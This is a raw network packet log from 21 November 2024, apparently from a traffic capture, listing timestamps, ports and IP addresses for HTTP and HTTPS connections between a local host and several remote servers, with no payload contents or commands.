Nov 21, 2024 07:10:36.643022060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.643825054 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.643898964 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.643925905 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.643990040 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.644793987 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.644871950 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.644906044 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.644953966 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.645776033 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.645858049 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.645890951 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.645956039 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.646791935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.646864891 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.646877050 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.646950006 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.647742987 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.647806883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.647850990 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.647914886 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.648725986 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.648777008 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.648833036 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.648895979 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.649699926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.649769068 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.649818897 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.649868965 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.650697947 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.650751114 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.650803089 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.650924921 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.651693106 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.651745081 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.651793003 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.651863098 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.652662039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.652713060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.652764082 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.652811050 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.653661966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.653747082 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.653799057 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.654663086 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.654680967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.654732943 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.662837029 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.665709972 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:36.665745974 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.666106939 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.666261911 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.666380882 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.666418076 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.666440964 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.666500092 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:36.666507006 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.666515112 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.666527033 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.672738075 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.672796011 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.672806025 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.673475981 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.673547029 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.684043884 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.685607910 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:36.685630083 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.686454058 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:36.686460972 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.722481012 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.722582102 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.722764015 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.726713896 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.726752996 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.726784945 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.726819038 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.726838112 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.726891994 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.726900101 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.731677055 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.731735945 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.731775999 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.731800079 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.731816053 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.731877089 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.731884956 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.740493059 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.740525007 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.740573883 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.740581989 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.740641117 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.742703915 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.742743969 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.742763996 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.742774010 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.742811918 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.746357918 CET	49833	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.746376991 CET	443	49833	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.746440887 CET	443	49834	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.750777006 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.750806093 CET	49834	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.750931025 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.759654045 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.759702921 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.759704113 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.759713888 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.759835958 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.762242079 CET	49835	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.762260914 CET	443	49835	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.795239925 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.795306921 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.795427084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.795474052 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.795515060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.795562983 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.795718908 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.795767069 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.796523094 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.796576023 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.796628952 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.796681881 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.797498941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.797549963 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.797580957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.797760010 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.798224926 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.798316002 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.798351049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.798408031 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.799209118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.799262047 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.799328089 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.799489021 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.800168991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.800216913 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.800256968 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.800338030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.801172018 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.801278114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.801280022 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.801342964 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.802233934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.802282095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.802354097 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.802453995 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.803129911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.803180933 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.803205967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.803245068 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.804145098 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.804193974 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.804258108 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.804347992 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.805120945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.805181026 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.805207968 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.805246115 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.806195021 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.806207895 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.806235075 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.806262970 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.807215929 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.807270050 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.807287931 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.807411909 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.808058023 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.808113098 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.808183908 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.808267117 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.808799028 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:36.808881998 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:36.809026957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.809071064 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.809139967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.809197903 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.810051918 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.810096025 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.810111046 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.810168982 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.811011076 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.811085939 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.811162949 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.811220884 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.811981916 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.812052011 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.812258959 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.812302113 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.812994957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.813064098 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.813098907 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.813146114 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.813945055 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.814065933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.814116001 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.814949989 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.815016031 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.815016031 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.815079927 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.815948963 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.816019058 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.816409111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.816471100 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.816916943 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.816981077 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.816992998 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.817084074 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.817856073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.817922115 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.817987919 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.818270922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.818871975 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.818928957 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.818974972 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.819061995 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.819899082 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.819962025 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.819967031 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.820171118 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.820849895 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.820916891 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.820966005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.821016073 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.821822882 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.821882963 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.821926117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.821971893 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.822854042 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.822916985 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.822925091 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.822973013 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.823856115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.823930979 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.824007988 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.824073076 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.824806929 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.824889898 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.824939013 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.824984074 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.825793982 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.825932026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.825994968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.826827049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.826894999 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.826955080 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.827038050 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.827733994 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.827779055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.827794075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.828005075 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.828722954 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.828783989 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.828824997 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.828895092 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.829726934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.829771042 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.829828978 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.829891920 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.830709934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.830756903 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.830899000 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.830955982 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.831681013 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.831732035 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.831789970 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.831835032 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.832665920 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.832727909 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.832777977 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.832897902 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.833648920 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.833707094 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.833700895 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.833758116 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.834641933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.834702015 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.834745884 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.834785938 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.835648060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.835760117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.835822105 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.835856915 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.836597919 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.836663961 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.836708069 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.836776972 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.837686062 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.837713957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.837744951 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.837764978 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.838578939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.838653088 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.838723898 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.838866949 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.839612007 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.839685917 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.839723110 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.839799881 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.840528965 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.840593100 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.840634108 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.840676069 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.841504097 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.841573000 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.841588020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.841609955 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.842483997 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.842533112 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.842741966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.842803001 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.843496084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.843533993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.843548059 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.843578100 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.844516993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.844573021 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.844618082 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.844677925 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.845443010 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.845558882 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.845577955 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.845810890 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.846426010 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.846474886 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.846586943 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.846641064 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.851248026 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.880163908 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.880593061 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:36.880613089 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.881275892 CET	49838	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:36.881280899 CET	443	49838	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:36.901808023 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.901819944 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.936368942 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.936408997 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.936563015 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.936579943 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.936697006 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.943763971 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.951112986 CET	443	49829	142.250.184.228	192.168.2.4
